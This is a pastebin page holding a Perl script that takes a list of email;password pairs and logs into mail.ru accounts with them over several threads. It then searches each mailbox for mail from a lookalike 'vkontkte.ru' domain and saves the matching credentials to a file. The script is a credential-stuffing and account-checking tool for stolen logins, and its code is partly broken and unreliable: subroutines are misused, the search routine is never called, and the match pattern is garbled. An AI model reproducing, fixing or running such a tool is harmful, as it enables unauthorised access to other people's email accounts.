Welcome, guest! Login / Register - Why register?
Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)

Paste

Pasted as Perl by ass ( 17 years ago )
#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
my @mails:shared;
#############################
my $mfile = 'mails.txt';
my $ofile = 'found.txt';
my $find = 'vkontkte.ru';
my $threads = 1;
#############################

open (F, ">>$ofile");
open (M, "<$mfile");
@mails = <M>;
my @trl;
for(0..$threads) {$trl[$_] = threads->create(&login, $_);}
for(@trl) { $_->join; }
sub login
{
while (@mails){
my $mail = shift @mails;
my ($log,$pwd) = split(/;/,$mail);
my ($login,$dom) = split(/@/,$log);
my $ua = @_;
my $response = $ua->post('http://win.mail.ru/cgi-bin/auth',
{
"Login" => $login,
"Domain" => $dom,
"Password" => $pwd
})->as_string;
return $mail;
}
}
sub search
{
my $ua = $_;
my $mail = @_;
my $resp = $ua->get('http://win.mail.ru/cgi-bin/search?q_from=".$find."&q_to=&q_subj=&advanced=0&qc_from=1&qc_to=1&qc_subj=1&q_folder=all')->as_string;
if ($resp =~ /&Atilde;&Atilde;&yen;&Atilde;&sect;&Atilde;&sup3;&Atilde;&laquo;&Atilde;&frac14;&Atilde;&sup2;&Atilde;&nbsp;&Atilde;&sup2;&Atilde;&raquo;/)
{
print F $mail."
";
print $mail."
";
}
}
sub browser
{
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
return $ua;
}
close(M);
close(F);

 

Revise this Paste

Your Name: Code Language: